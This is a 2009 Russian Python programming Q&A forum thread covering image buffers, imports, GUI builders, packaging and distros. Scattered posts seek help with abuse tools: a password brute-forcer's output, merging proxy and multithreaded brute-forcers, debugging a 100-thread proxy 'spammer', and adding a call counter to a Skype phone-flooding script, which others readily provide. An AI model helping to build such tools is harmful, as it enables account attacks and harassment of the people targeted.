29.09.2009, 16:41
Кстати я тоже пробовал перейти на 3.1, но с ним у меня отказались alsa-lib
компилироваться.Откатился обратно на 2.6.2
login999
29.09.2009, 17:03
Кстати я тоже пробовал перейти на 3.1, но с ним у меня отказались alsa-lib
компилироваться.Откатился обратно на 2.6.2
Я сижу под бубунтой, таких проблем не возникало, 3.1 собирал как из исходников, так и качал из репов 3.01 а потом уже собирал 3.1 (пытался таким образом решить проблему с зависимостями), собиралось и работало без проблем.
Зато вот под Slackware (а точнее ,VectorLinux) был трабл (скорее всего рожден малым опытом и слабыми познаниями в *NIX) - 3.1 заменил собой 2.6, последствия были убойными
Доброго дня всем присутствующим!
У меня проблема с библиотекой PIL (Python Image Library). Мне требуется создать изображение из данных полученных с сервера. Сейчас использую костыль: создаю файл, после пишу в него данные с сервера, после с помощью "Image.open("2.jpg")" получаю эту самую картинку. Так что вопрос в том как создать картинку без сохранения в файл, т.е. чтобы выглядело примерно так: Image.raw(data).
login999
29.09.2009, 18:48
Короч, с PIL не работал, рекомендую посмотреть в сторону StringIO (дает файловый интерфейс к строке и т.д.)
Доброго дня всем присутствующим!
У меня проблема с библиотекой PIL (Python Image Library). Мне требуется создать изображение из данных полученных с сервера. Сейчас использую костыль: создаю файл, после пишу в него данные с сервера, после с помощью "Image.open("2.jpg")" получаю эту самую картинку. Так что вопрос в том как создать картинку без сохранения в файл, т.е. чтобы выглядело примерно так: Image.raw(data).
Например в буфер загрузить?
import urllib2, StringIO, Image
## загружаем картинку в переменную
stream = urllib2.urlopen('http://images.domain.com/atacks.gif')
## помещаем картинку в буфер
buffer = StringIO.StringIO(stream.read())
## im - объект-картинка
im = Image.open(buffer)
import urllib2, StringIO, Image
stream = urllib2.urlopen('http://images.domain.com/atacks.gif')
buffer = StringIO.StringIO(stream.read())
im = Image.open(buffer)
Оно самое ;)
есть фаил config.py
num = 1
есть фаил def.py
def ret():
global num
return num+1
есть фаил main.py
from config import *
from def import *
print ret()
NameError: global name 'num' is not defined
Как открыть доступ к переменной num из функции ret() ?
rushter
глобальные имена должны объявляться, если им будут присваиваться значения внутри функции...
def ret():
global num
num = 0
return num+1
вот это уже работает.. и еще лучше не называть модуль зарезервированным словом, ибо мы получаем ошибку при from def import * (хотя, если это просто сокращенный пример, то все ок).
login999
01.10.2009, 09:47
Честно говря, никогда не встречал таких конструкций, если бы мне нужно было в какой -нибудь моей функции в составе какого либо модуля получить достпу к какой-либо переменной то я делал бы приблизительно так :
class def_:
def __init__(self):
self.num = 0
def ret(self):
return self.num
а потом уже делал бы как-то так :
import config
import def #это если ты все таки решишь назвать его def.py, а класс def_ положишь в него
def_ = def.def_()
def_.num = config.num
Конструкция ненамного сложнее, зато позволяет избавиться от некошерного global.
P.S. Исходя из имен файла, то я бы посоветовал поглядеть в сторону ConfigParser ....
Честно говря, никогда не встречал таких конструкций, если бы мне нужно было в какой -нибудь моей функции в составе какого либо модуля получить достпу к какой-либо переменной то я делал бы приблизительно так :
class def_:
def __init__(self):
self.num = 0
def ret(self):
return self.num
а потом уже делал бы как-то так :
import config
import def #это если ты все таки решишь назвать его def.py, а класс def_ положишь в него
def_ = def.def_()
def_.num = config.num
Конструкция ненамного сложнее, зато позволяет избавиться от некошерного global.
P.S. Исходя из имен файла, то я бы посоветовал поглядеть в сторону ConfigParser ....
Как я понял в твоём примере num определяется в классе,а не в config.Желательно чтобы функция работала с config.num и не принимала никаких параметров.
login999
01.10.2009, 12:32
Ладно, можно сделать и наоборот
class def_:
def __init__(self):
self.config = None
def ret(self):
return self.config.num
Вызов потом сделать так :
import config
import def #это если ты все таки решишь назвать его def.py, а класс def_ положишь в него
def_ = def.def_()
def_.config = config
print def_.ret()
Просто немного поопираться на то что это обьекты, да и все станет попроще.
Либо на крайняк можно реализовать взаимодействие классов через какие-либо свои приколы, если честно, то просто нужно глянуть код и посмотреть, чего там можно переделать. Модульность то предполагает собой классы как таковые , просто дай второму классу хэндлер на первый, и пущай он там себе обрабатывает его
Ладно, можно сделать и наоборот
class def_:
def __init__(self):
self.config = None
def ret(self):
return self.config.num
Вызов потом сделать так :
import config
import def #это если ты все таки решишь назвать его def.py, а класс def_ положишь в него
def_ = def.def_()
def_.config = config
print def_.ret()
Просто немного поопираться на то что это обьекты, да и все станет попроще.
Либо на крайняк можно реализовать взаимодействие классов через какие-либо свои приколы, если честно, то просто нужно глянуть код и посмотреть, чего там можно переделать. Модульность то предполагает собой классы как таковые , просто дай второму классу хэндлер на первый, и пущай он там себе обрабатывает его
Сделал как ты написал:
AttributeError: 'module' object has no attribute 'keys'
login999
01.10.2009, 17:19
Можно код в ПМ ?
Просто как я показал, то я таким образом сам увязываю, когда начинаю косить под ООП и у мну получается несколько standalone классов, проблем в принципе никогда не было...
P.S. Подозреваю, что ты неправильно его привязал.
P.P.S. Если у тебя есть аттрибут keys это вообще очень некошерно.
ладно,пойду другим способом.Как импортировать модуль из папки которая на уровень ниже ?
login999
01.10.2009, 17:30
import os
import sys
level_down_dir = u"configs"
dir_path = os.getcwdu()+os.sep+level_down_dir+os.sep
dir_path = current_dir.encode(sys.getfilesystemencoding())
sys.path.append(dir_path)
А дальше пох..
Или, как вариант можно юзать __import__(), но я точно не помню как он работает
str.replace(old, new[, count])
Как замерить время выполнения скрипта ?
т.е например
code...
start time
code...
code.... нужно замерить время выполнения между start и end.
code....
end time.
ZirroCool
03.10.2009, 23:27
Как замерить время выполнения скрипта ?
К примеру, можно в начале тела скрипта узнать текущее время, а в конце скрипта вычесть из текуего времени, время которое ты узнал в начале скрипта и получить время работы скрипта! Во как завернул!
К примеру, можно в начале тела скрипта узнать текущее время, а в конце скрипта вычесть из текуего времени, время которое ты узнал в начале скрипта и получить время работы скрипта! Во как завернул!
Ну это понятно,нужны именно функции для работы со временем.Я поискал,но не нашёл тех которые мне нужны.
unixtime -> normal time
Upd. нашёл
login999
04.10.2009, 11:59
Если для тестирования (в смысле чтоб самому глянуть) - то есть timeit
login999
07.10.2009, 01:54
Блин, столкнулся с траблом, мб кто подскажет как решить, в общем есть скрипт,работать должен долго, работать должен с веб, краулер короче, но беда в одной из функций идет бесконечный цикл, который обрывается только при специфических условиях, во время его работы часто возникают ошибки ибо коннект -гуано. Работает нормально до тех, пор пока количество ошибок , возникаемых в этой функции не равняется где-то 10, обработка ошибок естествено есть (хотя и в самом отстойном варианте)
Обработка вида
try:
....
Except Exception, error:
pass
Щас поставил вот такую :
try:
...
Except:
pass
После где-то 10(вроде) ошибок скрипт вылетает, вылетает по-тихому(без каких либо гвоздей, такое ощущение что типа закончил работу)
Результат такой же. Кто сталкивался, и в какую сторону рыть ? В сторону каких -либо настроек питона, или же это кривая обработка ошибок, или вообще хз что ?
Было что то похожее, но очень давно и правда уже даже не помню как решил ))
Попробуй указать явно все эксепшины которые могут вылететь во время конекта и их нужно перехватить.
Очень странно что скрипт завершается без каких либо сообщений со стороны питона, может стоит посмотреть код, мб где то с условиями накосячил.
После где-то 10(вроде) ошибок скрипт вылетает, вылетает по-тихому(без каких либо гвоздей, такое ощущение что типа закончил работу)
Результат такой же. Кто сталкивался, и в какую сторону рыть ? В сторону каких -либо настроек питона, или же это кривая обработка ошибок, или вообще хз что ?
Если запускаешь под винду, то попробуй не запускать под винду (у меня похожее было один разок под виндой, но я забил разбираться).
А вообще, можно написать скрипт, который бы смотрел запущен ли твой скрипт и если он навернулся, то запускать его снова :D
login999
07.10.2009, 19:00
По условиям он завершиться не могёт )
Там одни бесконечные циклы )
Выход из них - только через закрытие скрипта )
Запускается именно на винде, щас уже вроде не слетает, хотя тоже хз, может ошибок сколько не было.
Подозреваю, что есть какое-то значение, по типу максимальной глубины рекурсии, так же и для ошибок...
Значит мб стоит усербно подебажить скрипт, может как раз и станит ясна причина столь странного поведения )
login999
08.10.2009, 21:44
Ах да, совсем забыл - бежим обновляться, Python обновился до 2.6.3 )
Из приятного :
- Issue #1424152: Fix for httplib, urllib2 to support SSL while working through
proxy. Original patch by Christopher Li, changes made by Senthil Kumaran.
Подскажите IDE, в которой можно создавать оконные приложения.
eric4, netbeans, можно хоть в emacs'е от IDE мало что зависит.
Я имею в виду чтобы можно было визуально окошки редактировать. :)
qt designer только gui.
Точно не уверен.
InFlame Для WX есть например boa constructor и SPE
gold-goblin
11.10.2009, 12:14
для какой либы? qt или нет?
login999
12.10.2009, 09:06
О_о Какую тему затронули...
Для WxWidgets есть WxGlade (Говно бля) и WxFormBuilder (Немного лучше чем говно).
Но вот только если заглянешь в стандартные примеры, то желание использовать эти все рисовалки гуя отпадает напрочь, ибо количество поддерживаемых виджетов в них намного меньше.
Для Qt есть QtDesigner.
В SPE трудится WxGlade, BoaConstructor я даже качать не стал после того как увидел дату последних изменений.
P.S. Щас сам сижу пытаюсь раздуплить WxWidgets, цук чето нифига не выходит :(
===========================================
Итого результат :
Нормальная рисовалка гуяы есть только под Qt, под Wx для создания нормального гуя нормальной рисовалки нет, я подумываю над комбинированным использованием - часть руками, часть через WxFormBuilder, так как он самы вроде бы нормальный (код для питона он могёт генерить только с последней беты, так что качать на форуме).
P.S. Под WxWidgets есть интересный проект "Gui2Exe" - нажстройка над cx_freeze, bb_freeze, py2exe,py2app,pyInstaller, для работы требует хотя бы один из них установленным.
С ним намного проще создавать "Типа Standalone" приложения из питоновских скриптов...
Странно что ещё не назвали PyGTK и Glade, так же хорош как и PyQt(правда ему до кт ещё тянуть и тянуть, но если гуи простенькая то можно использовать).
Тутриал по PyGTK: http://zetcode.com/tutorials/pygtktutorial/
Тутриал по PyQt: http://zetcode.com/tutorials/pyqt4
gold-goblin
14.10.2009, 00:02
pyQt по русски http://www.python.su/blog/public/2008/09/17/sozdanie-prilozheniya-s-ispolzovaniem-programmyi-designer/
KaZ@NoVa
15.10.2009, 20:00
руками на Tcl/Tk написать.
я тоже за Tk :) в случаее если уж не надо делать "мега фейс" с кучей менюшек, батонов, короче ворд переписывать :))..
главный плюс Тк в том, что идет из коробки в дистрибутиве питона..
только жалко аналога Qt Creator'a нормального нет.. щас загуглил, нашел только
http://tix.sourceforge.net/
но у них там бинарники временно не доступны :) а компилить лениво:)
кто-нить других "мордоделов" для Tk не знает?
login999
15.10.2009, 21:10
я тоже за Tk :) в случаее если уж не надо делать "мега фейс" с кучей менюшек, батонов, короче ворд переписывать :))..
главный плюс Тк в том, что идет из коробки в дистрибутиве питона..
только жалко аналога Qt Creator'a нормального нет.. щас загуглил, нашел только
http://tix.sourceforge.net/
но у них там бинарники временно не доступны :) а компилить лениво:)
кто-нить других "мордоделов" для Tk не знает?
Нету других мордоделов для ТК
А у ТК есть не один минус - во-первых , он не работает с буфером обмена нормально, только хоткеи и все, во-вторых - количество виджетов не просто убого , а вообще ппц, если чего-то доставлять то ИМХО лучше другой качать, Про его убогий внешний вид из коробки я тоже молчу, нормальным он станет только с версии 2.7 (Если сидите на второй ветке, на третьей ветке уже есть ттк), да и то даже с ней можно кодить только несложный гуй. Достоинств у него только два - простота и то что он из коробки
login999, на тройке я :) (точнее медленно и плавно учу\вспомниаю)
речь как раз и о легкой морде шла :-)
а количество виджетов да, только боксы стандартные... а нет мордоделов для Тк наверн, потому что они и не очень то и нужны, легкий фейс и руками делается, а тяжелый...
p.s. Хорошо бы сделать какой-нить Python FAQ, с ответами на популярные вопросы (Иде, книги, web-ресурсы, фреймворки..)
Как можно усложнить чтение исходных кодов на python ? Понимаю что обфускация кода тут не возможна из-за отступов.Может быть какие-нибудь способы запутать код ?
login999
16.10.2009, 22:10
Как можно усложнить чтение исходных кодов на python ? Понимаю что обфускация кода тут не возможна из-за отступов.Может быть какие-нибудь способы запутать код ?
#!usr/bin/env python
#-*-encoding:utf-8-*-
import os
import compileall
compileall.compile_dir(os.getcwdu())
Полученные файлы .pyc прочитать нереально, запускаются без проблем, но для знающего человека это так, два байта переслать
gold-goblin
17.10.2009, 16:21
как выриант py2exe, есть минусы но читать будет тяжело...
Как сделать вывод в одну строку, например, когда требуется вывести текущий пароль в брутфорсере? То есть чтобы строка не росла, а на месте старого пароля выводился новый.
login999
18.10.2009, 21:41
Как сделать вывод в одну строку, например, когда требуется вывести текущий пароль в брутфорсере? То есть чтобы строка не росла, а на месте старого пароля выводился новый.
Красиво не получится :)
Только так :
http://forum.antichat.ru/showpost.php?p=1204435&postcount=112
Но там есть свои нюансы - думаю их увидишь сам
>>> f = open('file.txt')
>>> len(f.readlines())
5
>>> len(f.readlines())
0
Почему нельзя несколько раз вызвать readlines(), чтобы каждый раз возвращался список?
Почему нельзя несколько раз вызвать readlines(), чтобы каждый раз возвращался список?
>>> f = open('file.txt')
>>> l = len(f.readlines())
>>> print l
5
>>> print l
5
>>> print l
5
>>> print l
5
readlines перемещает указатель ибо.
можешь воспользоваться f.seek(0), но имхо бредок
Как зашифровать исходный код? но решение должно подходить не только для вынь но и для никсов. py2exe не предлагать =/
импорт .pyc и .pyo файлов тоже не безопасно, ибо есть decompile(жаль что p3k ему не по зубам =().
P.S. верхние посты читал.
login999
21.10.2009, 23:49
Как зашифровать исходный код? но решение должно подходить не только для вынь но и для никсов. py2exe не предлагать =/
импорт .pyc и .pyo файлов тоже не безопасно, ибо есть decompile(жаль что p3k ему не по зубам =().
P.S. верхние посты читал.
По-простому - никак.
По сложному - учишь С и переписываешь сам интерпретатор
Нашел! Есть утилита cx-freeze (http://prdownloads.sourceforge.net/cx-freeze/cx_Freeze-4.1.tar.gz?download). Аналог py2exe только кросс-платформенный!
Впечатляет поддержка питон-интерпретаторов 2.4-3.1!!!
Проверял на убунту 9.10+питон 2.6.4, работает на ура!
$ cxfreeeze <имя скрипта> --target-dir <директория где будет собираться бинарник>
login999
22.10.2009, 09:25
Нашел! Есть утилита cx-freeze (http://prdownloads.sourceforge.net/cx-freeze/cx_Freeze-4.1.tar.gz?download). Аналог py2exe только кросс-платформенный!
Впечатляет поддержка питон-интерпретаторов 2.4-3.1!!!
Проверял на убунту 9.10+питон 2.6.4, работает на ура!
$ cxfreeeze <имя скрипта> --target-dir <директория где будет собираться бинарник>
Ага, а есть еще bb_freeze, pyinstaller.
Это не то, что ты просил, или я тебя неправильно понял =/
Это тулзы для создания standalone executable а не для шифрования исходного кода.
Тем более, что library.zip никто не отменял, писать же скрипты, состоящие из одного файла это имхо маразм - при 1к строк уже окосеть можно =/
Я имею ввиду что это проект опенсорс, изменить его сорцы(лоадер)+добавить как бы обфускатор, после запаковать бинарник в upx или ещё что нибудь. Это лучше чем .pyc.
Тем более, что library.zip никто не отменял, писать же скрипты, состоящие из одного файла это имхо маразм - при 1к строк уже окосеть можно =\
т.е.? ты имеешь в виду что cx-freeze умеет паковать только 1 скрипт? Я тестировал свой скрипт состоящий из нескольких файлов(main.py, ac.py, etc.py). Указал cx-freeze скрипт ./main.py и он добавил в бинарник все остальные.
login999
22.10.2009, 10:10
Я имею ввиду что это проект опенсорс, изменить его сорцы(лоадер)+добавить как бы обфускатор, после запаковать бинарник в upx или ещё что нибудь. Это лучше чем .pyc.
т.е.? ты имеешь в виду что cx-freeze умеет паковать только 1 скрипт? Я тестировал свой скрипт состоящий из нескольких файлов(main.py, ac.py, etc.py). Указал cx-freeze скрипт ./main.py и он добавил в бинарник все остальные.
Гонял его под виндой.
Все импортируемые им модули ложатся в library.zip (или чето подобное, архив короче), в котором лежат все используемые им модули в .pyc . Тестировал через Gui2exe (обвязка для всех этих собиралок в executable). Не буду говорить, что супер перерывал доки, но я так понял, что один бинарник собрать из него низзя (хотя и писали, что можно).
P.S.Тем более что сорцы Python тоже можно скачать
P.P.S. а где нарыл 2.6.4 ?
P.P.S. а где нарыл 2.6.4 ?
У тебя 9.04(я сижу на 9.10 beta)? Я вроде никаких PPA для питона не ставил =/(хотя у меня много разных PPA более 20, м.б. где-то с них).
$ sudo aptitude show python
Версия: 2.6.4~rc1-0ubuntu1
login999
22.10.2009, 11:42
У тебя 9.04(я сижу на 9.10 beta)? Я вроде никаких PPA для питона не ставил =/(хотя у меня много разных PPA более 20, м.б. где-то с них).
У мну щас вообще Arch :)
Работает быстрее :)
У мну щас вообще Arch :)
Работает быстрее :)
Раньше юзал генту, но как получил "красноглазие" решил перейти на убунту. Глюки есть, особенно со звуком(привет pulseaudio!) но это исправимо, ядро сам собирал(+BFS). Вот никак не определюсь переходить на арч или нет =/
login999
22.10.2009, 12:12
Раньше юзал генту, но как получил "красноглазие" решил перейти на убунту. Глюки есть, особенно со звуком(привет pulseaudio!) но это исправимо, ядро сам собирал(+BFS). Вот никак не определюсь переходить на арч или нет =/
Хз, я если честно, чем больше смотрю на линукс, тем больше мне все-таки нравится бубунта. Она реально подходит как замена винде, но бля, ресурсы железа говорят, что бубунта тяжело ворочается :(. Хотя еще попробую поставить xfce на нее.
Поставил на Арч - доволен, если будет также работать на бубунте, то оставлю ее.
П.С. - это подход простого юзера, а не красноглазого.
Постоянно париться после pacman -Syu тоже подзаебывает.
Вон dbus отвалился, лень чинить =/
В бубунте хорошо хотя бы тем, что не нужно много пилить вручную, все из коробки относительно нормально работает.
А вопрос перехода стоит в том - что ты хочешь получить от него.
Мну например ищет то, что стабильно будет работать после апдейта, это ИМХО бубунта...
Хз, я если честно, чем больше смотрю на линукс, тем больше мне все-таки нравится бубунта. Она реально подходит как замена винде, но бля, ресурсы железа говорят, что бубунта тяжело ворочается :(. Хотя еще попробую поставить xfce на нее.
Поставил на Арч - доволен, если будет также работать на бубунте, то оставлю ее.
П.С. - это подход простого юзера, а не красноглазого.
Постоянно париться после pacman -Syu тоже подзаебывает.
Вон dbus отвалился, лень чинить =/
В бубунте хорошо хотя бы тем, что не нужно много пилить вручную, все из коробки относительно нормально работает.
А вопрос перехода стоит в том - что ты хочешь получить от него.
Мну например ищет то, что стабильно будет работать после апдейта, это ИМХО бубунта...
Вот вот! в генте обновишь гном и после гдм не грузиться, а если срочно нужно лабу подравнять для универа и т.д. Поэтому и ушел с неё когда одновременно отвалился гном, компиз, кайродок, гдм и ещё что-то. Надоело изобретать велосипеды и писать ебилды для своих дров(173.*) или равнять кривые =(.
На правах оффтопа ))
Юзайте слаку, практически все изкаропки )
login999
22.10.2009, 15:24
На правах оффтопа ))
Юзайте слаку, практически все изкаропки )
Slackware way = no update.
По крайней мере так я понял, что апдейтить это не по-слакски )
Да и тем более, что хотелось бы полегче какую-нить DE чем гном/кеды.
Там есть возможность установки голой системы ?
Slackware way = no update.
По крайней мере так я понял, что апдейтить это не по-слакски )
Да и тем более, что хотелось бы полегче какую-нить DE чем гном/кеды.
Там есть возможность установки голой системы ?
fluxbox/blackbox/awesome/прочие вм не?
login999
22.10.2009, 16:55
fluxbox/blackbox/awesome/прочие вм не?
Надоели wm, если честно :)
Еще пробовал E17 , вроде по ресурсам нормально работает, но :
1) Падучий до немогу
2) Как-то оно уж больно обтекаемо, наляписто выглядит, хз короч не понравилось
Да и тем более, что хотелось бы полегче какую-нить DE чем гном/кеды.
Там есть возможность установки голой системы ?
Есть возможность установки и голой + есть xfce
Slackware way = no update.
По крайней мере так я понял, что апдейтить это не по-слакски )
Немного не понял что ты этим хотел сказать )
п.с. Может перейдем в *nix тред, что б тут не засирать ?))
login999
23.10.2009, 22:43
Есть возможность установки и голой + есть xfce
Немного не понял что ты этим хотел сказать )
п.с. Может перейдем в *nix тред, что б тут не засирать ?))
http://forum.antichat.ru/showpost.php?p=1621967&postcount=1277
boris_blade
28.10.2009, 02:09
Написал скрипт, скармиливаешь ему файл и скрипт отправляет его на pastie.org
#!/usr/bin/python
# -*- coding: utf-8 -*-
html = resp.read()
soup = BeautifulSoup(html)
find = soup.find( # вот тут должен быть запрос, который хз как составить.
print find
Проблема в том, что я никак не могу отпарсить результат в виде http://pastie.org/12345 как видно юзаю
бьютифул суп, объясните, пожалуйста как заставить его выводить линк на пасту
login999
28.10.2009, 10:12
Написал скрипт, скармиливаешь ему файл и скрипт отправляет его на pastie.org
Проблема в том, что я никак не могу отпарсить результат в виде http://pastie.org/12345 как видно юзаю
бьютифул суп, объясните, пожалуйста как заставить его выводить линк на пасту
В принципе, если нужен конкретно линк, то почему бы не отпарсить его регулярками ?
по типу такой :
link = re.findall(r'''\<input\ type\=\"text\"\ value\=\"\<script\ src\=\'(.*?)\.js\'\>\<\/script\>\"\ onclick\=\"this\.select\(\)\;\"\ size\=\"22\"\>''', html)[0]
P>S> Да, я знаю, что заэкранировано все что нужно и не нужно
login999
03.11.2009, 15:17
Смотрим на второй пост в этой теме, и думаем чего бы туда добавить, планирую добавить IDE и собиралки в standalone, ЧиВо ЫШо ?
Я извиняюсь, если этот вопрос уже поднимался.
Помогите примерами разработки на winapi пожалуйста.
Много искал - есть только книга O'Reilly.
Но там очень много материала, а мне нужно срочно понять что и как.
Интересует реализация начальной структуры winapi приложения, как например описано в msdn (http://msdn.microsoft.com/ru-ru/library/bb384843.aspx)
login999
03.11.2009, 21:01
Я извиняюсь, если этот вопрос уже поднимался.
Помогите примерами разработки на winapi пожалуйста.
Много искал - есть только книга O'Reilly.
Но там очень много материала, а мне нужно срочно понять что и как.
Интересует реализация начальной структуры winapi приложения, как например описано в msdn (http://msdn.microsoft.com/ru-ru/library/bb384843.aspx)
Никогда не работал с winapi и даже не задавался подобным вопросом.
Но гугл говорит, что нужно смотреть сюда : http://docs.python.org/library/ctypes.html
login999
Все проще - в win-сборках пайтона обычно присутствуют удобные модули для работы с winapi, поэтому редко возникает необходимость использовать ctypes.
Byte_
Вот, например, каркас оконного приложения (с использованием ОО-удобностей пайтона (: ) :
import win32api
import win32con
import win32gui
class MainWindow:
def __init__(self):
win32gui.InitCommonControls()
self.hinst = win32api.GetModuleHandle(None)
def RegisterClass(self):
windowClass = "py_win32"
WndProc = {
win32con.WM_DESTROY: self.OnDestroy,
}
wcex = win32gui.WNDCLASS()
wcex.style = win32con.CS_HREDRAW | win32con.CS_VREDRAW
wcex.lpfnWndProc = WndProc
wcex.cbWndExtra = 0
wcex.hCursor = win32gui.LoadCursor( 0, win32con.IDC_ARROW )
wcex.hbrBackground = win32con.COLOR_WINDOW + 1
wcex.hIcon = win32gui.LoadIcon(0, win32con.IDI_APPLICATION)
wcex.lpszClassName = windowClass
win32gui.RegisterClass(wcex)
return windowClass
def CreateWindow(self):
windowClass = self.RegisterClass()
self.hwnd = win32gui.CreateWindow(windowClass,
"Python win32 gui example",
win32con.WS_OVERLAPPEDWINDOW,
win32con.CW_USEDEFAULT,
win32con.CW_USEDEFAULT,
600,
400,
0,
0,
self.hinst,
None)
win32gui.ShowWindow(self.hwnd, win32con.SW_SHOW)
def OnDestroy(self, hwnd, message, wparam, lparam):
win32gui.PostQuitMessage(0)
return True
window = MainWindow()
window.CreateWindow()
win32gui.PumpMessages()
cr0w, это то что надо =)
спасибо!
n0th1ng!~
11.11.2009, 18:50
очень нужна помошь есть два брутфорса один проксевой а другой многопотоковый надо сделать один но стабыильный те проксево и многопотоковый оба на питоне помогите плз кину оба в личку)
login999
11.11.2009, 18:53
очень нужна помошь есть два брутфорса один проксевой а другой многопотоковый надо сделать один но стабыильный те проксево и многопотоковый оба на питоне помогите плз кину оба в личку)
Если хоть один из них от dehidr8 то не возьмусь, иначе- в личку
Ergoproxy
13.11.2009, 10:17
очень нужна помошь есть два брутфорса один проксевой а другой многопотоковый надо сделать один но стабыильный те проксево и многопотоковый оба на питоне помогите плз кину оба в личку)
и мне кинь интересно посмотреть исходники :rolleyes:
n0th1ng!~
13.11.2009, 19:35
хм а ты дописать можешь ???? кстати им уже занимаются так что....
Товарищи, есть скрипт, типа спамилки, запускаю его в 100 потоков, вначале все хорошо, снифаю со своего компа нужный протокол - видно нужную скорость, через несколько часов вижу, что скорость серьезно упала. threading.activeCount() показывает, что потоки живы. Какие есть способы дебага при такой проблеме?
Товарищи, есть скрипт, типа спамилки, запускаю его в 100 потоков, вначале все хорошо, снифаю со своего компа нужный протокол - видно нужную скорость, через несколько часов вижу, что скорость серьезно упала. threading.activeCount() показывает, что потоки живы. Какие есть способы дебага при такой проблеме?
А возможно целевой сервер банит? Или не справляеться с таким количеством посылаемых запросов.
login999
14.11.2009, 10:05
Товарищи, есть скрипт, типа спамилки, запускаю его в 100 потоков, вначале все хорошо, снифаю со своего компа нужный протокол - видно нужную скорость, через несколько часов вижу, что скорость серьезно упала. threading.activeCount() показывает, что потоки живы. Какие есть способы дебага при такой проблеме?
DeadLocak, не ?
А дебаг лично я делал такой :
тупо везде ставишь print и наблюдаешь за работой.
Кстати, возможно еще что эксепшны ложат.
Под 2.6. была такая фигня пару раз - обработка вроде есть, обрабатывается конкретное исключение, на которое обработка стоит. Но вот остальные, которые должны были бы орать - они цук не орут, а где-то по тихому сливаются и поток перестает работать (но висит как активный).
Возник вопрос. в питоне прокси задаю так:proxy_handler = urllib2.ProxyHandler({'http': proxy})
opener = urllib2.build_opener(proxy_handler) Но как определить какой тип прокси(HTTP/SOCKS)? Неужели придется писать ф-ю которая повторно будет обращаться к серверу и узнавать тип прокси? о_О
login999
14.11.2009, 10:20
Возник вопрос. в питоне прокси задаю так:proxy_handler = urllib2.ProxyHandler({'http': proxy})
opener = urllib2.build_opener(proxy_handler) Но как определить какой тип прокси(HTTP/SOCKS)? Неужели придется писать ф-ю которая повторно будет обращаться к серверу и узнавать тип прокси? о_О
Можешь не нервничать - с соксами ты работать не будешь. Не поддерживаются. Хочешь соксов - тебе в гугл и искать httplib2 (поддержка соксов идет через SocksiPy). Из минусов - то, что прокси которые не поддерживают метод CONNECT(большинство пабликовых) лежат в осадке. Да и проверять тип проксика придется или ты думал, что питон будет угадывать ?
Можешь не нервничать - с соксами ты работать не будешь. Не поддерживаются. Хочешь соксов - тебе в гугл и искать httplib (поддержка соксов идет через SocksiPy). Из минусов - то, что прокси которые не поддерживают метод CONNECT(борльшинство пабликовых). Лежат в осадке. Да и проверять тип проксика придется или ты думал, что питон будет угадывать ?
"что питон будет угадывать" я думал что он настолько хорош что умеет даже это =))
А если серьёзно, то я привык к Qt где задаешь сразу тип прокси HTTP/SOCKS, а вот в питоне такого нет. А то что питон умеет пользоваться только HTTP прокси уже догадался, но перед тем как задать вопрос все таки надо было проверить тип вручную. Значит у madnet'a скрипт прокси врет, ведь там тип как SOCKS5. Вот я и думал что значит питон умеет работать с носками, хотя видел либу SocksiPy.
login999
14.11.2009, 10:34
"что питон будет угадывать" я думал что он настолько хорош что умеет даже это =))
А если серьёзно, то я привык к Qt где задаешь сразу тип прокси HTTP/SOCKS, а вот в питоне такого нет. А то что питон умеет пользоваться только HTTP прокси уже догадался, но перед тем как задать вопрос все таки надо было проверить тип вручную. Значит у madnet'a скрипт прокси врет, ведь там тип как SOCKS5. Вот я и думал что значит питон умеет работать с носками, хотя видел либу SocksiPy.
Это особая, уличная магия ^_0
m0Hze, Вариант с перегруженным целевым сервером отпадает, так как если я перезапускаю скрипт, все идет ок
Вот кусок основной кусок кода
def run(self):
while True:
proxy = self.plist.get()
try:
#Тут происходят нужные действия
except Exception, e: #proxy ordered to live long
print proxy, e
if self.log_file:
print >>self.log_file, "Thread "+str(self.id)+": "+str(e)+"\n",
self.plist.task_done()
То есть исключения вроде не должны быть причиной... В Queue.Queue() get по дефолту вроде blocking, так что, когда кончаются прокси, другой поток их освежает. В лог файле такая фигня: Сначала отмечаются все потоки, под конец активных визуально пару штук, последняя ошибка неактивных не дает никаких подсказок - обычный urlopen error
login999
14.11.2009, 14:22
m0Hze, Вариант с перегруженным целевым сервером отпадает, так как если я перезапускаю скрипт, все идет ок
Вот кусок основной кусок кода
def run(self):
while True:
proxy = self.plist.get()
try:
#Тут происходят нужные действия
except Exception, e: #proxy ordered to live long
print proxy, e
if self.log_file:
print >>self.log_file, "Thread "+str(self.id)+": "+str(e)+"\n",
self.plist.task_done()
То есть исключения вроде не должны быть причиной... В Queue.Queue() get по дефолту вроде blocking, так что, когда кончаются прокси, другой поток их освежает. В лог файле такая фигня: Сначала отмечаются все потоки, под конец активных визуально пару штук, последняя ошибка неактивных не дает никаких подсказок - обычный urlopen error
Больно смахивает на то, что проксей ему не хватает. Если реализована их очистка оттуда то это и может быть затык. Сделай следующей строчкой после получения прокси чтоб он выводил тебе какой поток получил прокси и саму прокси. Сделай логгирование на каждом шаге.
P.S> http://dumpz.org/11933/ - посмотри там есть класс PROXYS, ваозможно он и решит твои проблемы...
Подскажите аналог функции preg_replace из php.Замена в строке по регулярному выражению.
rushter,
Вот, посмотри: http://docs.python.org/library/re.html#re.sub
Nightmarе
03.12.2009, 20:02
Помогите плиз.
Вот тема с питоновым флудером в скайпе:
http://forum.antichat.ru/threadnav116226-1-10.html
Кода там немного, но питона я вообще не знаю.
Подскажите что надо вписать, чтобы он считал звонки создавая рядом с собой файл log.txt
и в цифровом порядке записывал, то есть один раз позвонил в файле появилась 1 и это число увеличивалось бы с каждым звонком.
В цикле
while 1==1:
...
...
происходит дозвон и соответственно сброс, обьявляешь до цикла переменную количества итераций и инкрементируешь в конце цикла и пишешь в файл
fd = open("log.txt", "w")
# callsCounter наш счетчик
fd.write(str(callsCounter))
п.с. тут нечего сложного нету можно освоить за один день )
Nightmarе
03.12.2009, 21:22
освоить то можно, так просто срочно надо.
а команд я не знаю как на питоне " переменную количества итераций и инкрементируешь", соответственно сделать этого не смогу.
# declaration
callsCount = 0
# inc
callsCount += 1
Nightmarе
04.12.2009, 06:21
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger
import sys, time, Skype4Py
